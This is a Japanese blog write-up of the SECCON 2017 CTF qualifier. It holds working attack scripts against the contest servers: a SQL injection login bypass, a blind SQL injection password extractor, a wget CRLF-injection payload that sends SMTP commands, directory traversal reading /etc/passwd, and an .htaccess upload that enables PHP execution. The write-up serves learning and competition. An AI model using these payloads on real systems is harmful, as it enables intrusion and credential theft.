#SECCON 2017 Online CTF に参加した (+write-up)

SECCON 2017 オンライン予選に Team: wight のメンバーとして参加した。

結果としては 2,500pt で全体57位、国内13位と今まで参加した中では最高記録!

f:id:castaneai:20171211210741p:plain

その中で自分が解いた問題は次の通り。

  • SHA-1 is dead (Crypto 100)
  • SqlSRF (Web 400)
  • Log search (Web 100)
  • Ps and Qs (Crypto 200)
  • JPEG file (Binary 100)
  • Simon and Speck Block Ciphers (Crypto 100)
  • automatic door (Web 500)
  • Thank you for playing! (Thank you! 100)

SHA-1 is dead (Crypto 100)

https://shattered.io/static/infographic-small.png

次の条件を満たす2つのファイルをアップロードすると FLAG がもらえる

  • 2つのファイルの中身が異なる
  • sha1チェックサムが同じ
  • ファイルサイズは 2017KiB以上、2018Kib未満

これは、少し前に話題になった SHAttered というもの。 中身が異なるのに同じ sha1 となるファイルが作り出せてしまうというやつ。

解き方

  1. sha1が衝突する2ファイルを用意する
  2. 各ファイルの末尾に 同じ数の 0x00 バイトを付け足して 2017KiB ~ 2018KiB のサイズにする

衝突するファイルの用意だが、すでに SHAttered のページや他いろいろなところでサンプルのファイルが上がっているので、そのまま流用できる。

また、衝突する2ファイルを作ってくれるツールも存在する

ので、仕組みを知らなくても解けちゃう。

ファイルが用意できたら、あとは 0x00 でサイズが合うように埋める。同じデータを末尾につけても、2ファイルの sha1 は同じままなので。

import os

files = [
    '01.pdf',
    '02.pdf',
]

for f in files:
    pad_size = 2065409 - os.path.getsize(f)
    with open(f, 'ab') as s:
        s.write(b'\x00' * pad_size)

SqlSRF (Web 400)

このサーバーの root に対して "give me flag" というタイトルのメールを送信したら、FLAG がもらえる

f:id:castaneai:20171211203211p:plain:w300

  • ログイン画面があるWebサイト
  • ログイン部分の処理のソースコードが与えられている
  • admin でログインすると、内部で wget コマンドが使える

とりあえずログインする (1)

  • ログイン部分のソースコードを見ると SQL インジェクション攻撃が可能とわかる
  • パスワード入力欄の値を &encrypt した結果と比較して同じであれば、ログイン成功

&encrypt, &decrypt 関数について

与えられたソースコードでは、この2つの実装を読むことはできない。

しかし、ユーザーID入力欄の値が &encrypt された結果は remember という Cookie に格納されているため、特定の文字列を &encrypt した結果はすぐに得ることができる。

さらに、[ ] Remember me のチェックを入れると remember Cookie の値を &decrypt した結果がユーザーIDの入力欄に入るので、復号化も可能である。

パスワードを admin とすると、 encrypt("admin") == "58474452dda5c2bdc1f6869ace2ae9e3" という結果が上のことからわかる。よって、次のような SQL を組み立てるとログイン成功する。

SELECT * FROM users WHERE username = '' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3';

username の条件は無視して、UNION で if 文に合うものを無理やり取ってくる SQL である。

これを SQL インジェクション攻撃の形式にするので、ログイン画面で次のように入力する。

  • username: ' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3';--
  • password: admin

するとログイン成功し、新しい画面が出てくる。 この画面では netstat と wget コマンドを実行できるみたいだが、wget の方は admin ユーザーとしてログインしないと使えない。

netstat の結果はこの通り。

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     

見ると 127.0.0.1:25 だけマシン内部からしかアクセスできない LISTEN となっているので、ここがヒントになってそうって思った。

admin ユーザーのパスワードを割り出す

とりあえずログインしたが、wget を実行するためにはちゃんとした admin ユーザーとしてログインする必要がある。 SQLインジェクションを使って admin のパスワードをすぐに取れたら良いのだが、SQL の実行結果を print している箇所がないので、すぐにはできない。

そこで、ブラインドSQLインジェクション を試してみる。

  • SQLite の length 関数で admin パスワードの長さを割り出す
  • SQLite の substr 関数で長さ分のパスワードを二分探索で割り出す
  • 得られたパスワードは &encrypt されてるので、これを復号化する
# -*- coding: utf-8 -*-
import sys
import requests

URL = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi?"


def check_strlen(i):
    params = {
        "user": "' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3' FROM users WHERE username='admin' AND length(password) = {};--".format(i),
        "pass": "admin",
        "login": "login",
    }
    res = requests.post(URL, data=params).text
    return "Error!" not in res


def check(i, cond):
    params = {
        "user": "' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3' FROM users WHERE username='admin' AND substr(password, {0}, 1) {1};--".format(i + 1, cond),
        "pass": "admin",
        "login": "login",
    }
    res = requests.post(URL, data=params).text
    return "Error!" not in res


def search_char(i, chars):
    # 二分探索
    lo = 0
    hi = len(chars)
    while lo < hi - 1:
        mid = (lo + hi) // 2
        mid_char = chr(chars[mid])
        if check(i, "< '{}'".format(mid_char)):
            hi = mid
        else:
            lo = mid
    return chr(chars[lo])


def crange(start_char, end_char):
    return range(ord(start_char), ord(end_char) + 1)


def search(i):
    chars = None
    if check(i, "<= '9'"):
        chars = crange('0', '9')
    elif check(i, "<= 'z'"):
        chars = crange('a', 'z')
    else:
        raise RuntimeError("flag char is out of range...")
    return search_char(i, chars)


if __name__ == '__main__':
    password_length = 0
    for i in range(1, 50):
        if check_strlen(i):
            password_length = i
            break
    print("password length: {}".format(password_length))
    sys.stdout.write("encrypt password: ")
    sys.stdout.flush()
    for i in range(password_length):
        sys.stdout.write(search(i))
        sys.stdout.flush()
    print()
    print("done.")

このスクリプトを実行すると、次の結果が得られる。

password length: 32
encrypt password: d2f37e101c0e76bcc90b5634a5510f64
done.

これを &decrypt すると

Yes!Kusomon!!

となる。

username: admin password: Yes!Kusomon!!

でログインすると、無効化されていた wget ボタンが使えるようになっている。

netstat の結果で怪しかった 127.0.0.1:25 に早速送ってみると、SMTP サーバーと思われるレスポンスがきた。

Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-09 20:48:32-- http://127.0.0.1:25/
Connecting to 127.0.0.1:25... connected.
Created socket 4.
Releasing 0x0000000001e53c20 (new refcount 0).
Deleting unused 0x0000000001e53c20.

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: 127.0.0.1:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
500 5.5.2 Error: bad syntax

wget は HTTP リクエストを飛ばすものなので、SMTP コマンドとしてはおかしいって普通に怒られる。 しかし問題文が「メールを送信しろ」なので、なんとかしてこの SMTP サーバーに命令を送らなければならない。

そこで、wget の脆弱性などで他のコマンドが挿入できるようなものがないか調べた。

GNU Wget: Header injection (GLSA 201706-16) — Gentoo Security

wget header injection で調べると、CVE-2017-6508 がヒットした。 ↓のサイトに簡単な再現方法も載っていたので、すぐに試せた。

[Bug-wget] Vulnerability Report - CRLF Injection in Wget Host Part

これで任意の SMTP コマンド遅れるようになったので、root に対して 自分のメールアドレスから "give me flag" というタイトルのメールを送信すればOK

import requests
from pyquery import PyQuery as pq
import html

URL = "http://sqlsrf.pwn.seccon.jp/sqlsrf/menu.cgi?"
MY_EMAIL_ADDRESS = "<input here your address>"

commands = [
    "EHLO 127.0.0.1",
    "MAIL FROM: " + MY_EMAIL_ADDRESS,
    "RCPT TO: root",
    "DATA",
    "From: test@test.com",
    "To: " + MY_EMAIL_ADDRESS,
    "Subject: give me flag",
    "Hello",
    ".",
    "QUIT",
]

data = {
    'cmd': "wget --debug -O /dev/stdout 'http://",
    'args': "127.0.0.1%0d%0a{}%0a:25/".format("%0a".join(commands).replace(":", "%3a").replace("@", "%40"))
}


data2 = {
    "cmd": "netstat -tnl",
    "args": "--help"
}

headers = {
    "Cookie": "remember=d2f37e101c0e76bcc90b5634a5510f64; CGISESSID=beb1229d5c77b445e59b9c2622f20d86",
}

res = requests.post(URL, data=data, headers=headers).text
d = html.unescape(pq(res).find('pre').text())
if d != '':
    print(d)
else:
    print(res)

実行すると次のようなメールが来て、&encrypt された FLAG が書いてあるので復号化したらクリア。

f:id:castaneai:20171211210210p:plain

SECCON{SSRFisMyFriend!}

Log search (Web 100)

elastic search を使ってアクセスログを検索できるwebアプリがある。 他の CTF 参加者のも含めたアクセスログが更新する度に次々と表示される。

その中に GET /flag-xxxxxxxxxxx.txt といったアクセスがいくつか見つかった。FLAGが書いたファイルへのアクセスっぽいが、基本的に response 404 だったので実在はしない。 そこで、このページを監視して、response 200 かつ flag を含む URL が見つかったら出力するスクリプトを書いた…

書いた…けど、スクリプトの動作確認をしようとしているときに偶然 response 200 を見つけてしまって、あっさり FLAG を取得できてしまった。

import requests
import time
from pyquery import PyQuery as pq

URL = "http://logsearch.pwn.seccon.jp/logsearch.php"

res = requests.post(URL, data={'query': 'flag'}).text
d = pq(res).find('table').eq(1)

for tr in [pq(e) for e in d.find('tr')]:
    tds = tr.find('td')
    path = tds.eq(2).text()
    status_code = tds.eq(3).text()
    if status_code == '200':
        print("{}\t{}".format(status_code, path))

多分、本来想定されている解き方ではなさそう。

Ps and Qs (Crypto 200)

  • RSA暗号の問題
  • 2つの公開鍵と暗号文が与えられる
  • 暗号文を解読したらクリア

RSA暗号の数学的な知識はまったくないけど、RSAへの攻撃は既に便利なツールがあり、今回は RsaCtfTool というものを使った。

GitHub - Ganapati/RsaCtfTool: RSA tool for ctf - retreive private key from weak public key and/or uncipher data

ここの README を読むと、まさにこの問題に当てはまりそうなものがあったので、そのまま利用。

Attempt to break multiple public keys with common factor attacks or individually - use quotes around wildcards to stop bash expansion ./RsaCtfTool.py --publickey "*.pub" --private

$ ./RsaCtfTool.py --publickey "*.pub" --private 

すると2つの秘密鍵が得られるので、あとは復号化すればOK.

SECCON{1234567890ABCDEF}

JPEG file (Binary 100)

1bitだけ破損した JPEG 画像を復元する問題

JPEG ヘッダを解析できるツールにかけてみると、ヘッダーの途中で明らかにエラーとなっていた。

f:id:castaneai:20171211210610p:plain

SOS ヘッダ という部分の下でエラーが出ていたので調べてみると

http://hp.vector.co.jp/authors/VA032610/JPEGFormat/marker/SOS.htm

SOSはイメージデータの先頭に記録され、直後にイメージデータが続く事を表しています。

と書いてある。にも関わらず直後にはイメージデータではなく、ヘッダを表す 0xFF が続いていたのでここでエラーになっているようだった。 なので、FFFE などにずらしてみたら、ちょっと荒れている感じだが復元できた。

f:id:castaneai:20171211205314p:plain

Simon and Speck Block Ciphers (Crypto 100)

Simon and Speck Block Cipher という暗号があるらしい。 とりあえず Google 検索したら、暗号化/ 復号化できる python のソースコードがすぐに見つかった。

GitHub - inmcm/Simon_Speck_Ciphers: Implementations of the Simon and Speck Block Ciphers

キーは SECCON{xxxx} で xxxx の部分は不明だが、4ケタぐらいなら総当りでいけそうな感じだったので総当りプログラムを書いた。

from simon import SimonCipher
import itertools
import binascii

seq = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;?@[\\]^_`| '
for c in itertools.permutations(seq, 4):
    key_bytes = b'SECCON{' + bytes(c) + b'}'
    key_int = int(binascii.hexlify(key_bytes), 16)
    plaintxt = 0x6d564d37426e6e71
    ciphertxt = 0xbb5d12ba422834b5
    block_size = 64
    key_size = 96
    c = SimonCipher(key_int, key_size, block_size, 'ECB')
    if c.encrypt(plaintxt) == ciphertxt:
        print("----detected!!!")
        print(key_bytes)
        print("----------------")
        break

print("end.")

automatic door (Web 500)

サーバー上にある実行ファイル /flag_x を実行すると FLAG がもらえる

  • ファイルをアップロードできるwebアプリ
  • アップロードしたファイルを表示する機能もある
  • メイン部分の処理はソースコードが与えられている

ソースコードを読むと、表示する処理 (read) は ファイルパスに .. を含んでいても大丈夫だったので、ディレクトリトラバーサル が成立する。

とりあえずアップロードと表示をスクリプトから可能にする

試しにサーバーの /etc/passwd を表示する処理を書いた

import requests

URL = "http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95"


def write(filename, file_content):
    action = "write"
    files = {
        "file": file_content,
    }
    res = requests.post(URL + "/?action={}&filename={}".format(action, filename), files=files).text
    print(res)


def read(filename):
    action = "read"
    res = requests.get(URL + "/?action={}&filename={}".format(action, filename)).text
    print(res)

path = "/etc/passwd"
read("../../../../../.." + path)

サーバー上でプログラムを実行可能にする

これでサーバー上の様々なファイルを見ることはできたが、最終的に /flag_x を実行しないといけないので、何らかの方法で外部から差し込んだプログラムを実行させる必要がある。 アプリ自体は php で動いているので、php ファイルをアップロードして、実行できたらよさそう。

しかし、ソースコードを読むと名前に ph を含むファイルはアップロードできない。 なので、.htaccess をアップロードして拡張子が .php 以外でも php として実行可能にする。

<FilesMatch "\.test$">
     SetHandler application/x-httpd-php
</FilesMatch>

これを .htaccess としてアップロードして、そのあと 拡張子 .test で php ファイルをアップロードする。

あとは /flag_x を実行するだけであるが、次のように system(), exec() といったプロセス実行系の関数は使用できなくなっていた。

f:id:castaneai:20171211212444p:plain

自分はここで一旦あきらめて、「何か他の関数あるのかな・・」って探したり、「どこかのファイルにヒントがあるかも」と思って、簡易ファイルビューアーを作った。

http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_30989bd7cafbb74ff9e3496bb96cfc6dc37753a6/attack.test?dir=%2Fetc%2Fapache2

そのあと、チームメンバーが「なんか /tmp に FLAG そのまま入ったファイルがあった…」と報告してくれて、あっさりとクリア。 おそらく、他チームが結果を /tmp に出しただけだと思うけど、拍子抜けだった。

SECCON{f6c085facd0897b47f5f1d7687030ae7}

終わってから他の write-up 見たら、proc_open() 関数だけは禁止されてなかったのでこれを使えばよかったらしい。

Thank you for playing! (Thank you! 100)

これはただのボーナス問題。そのまま答えが書いてあるので、入れるだけ。

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}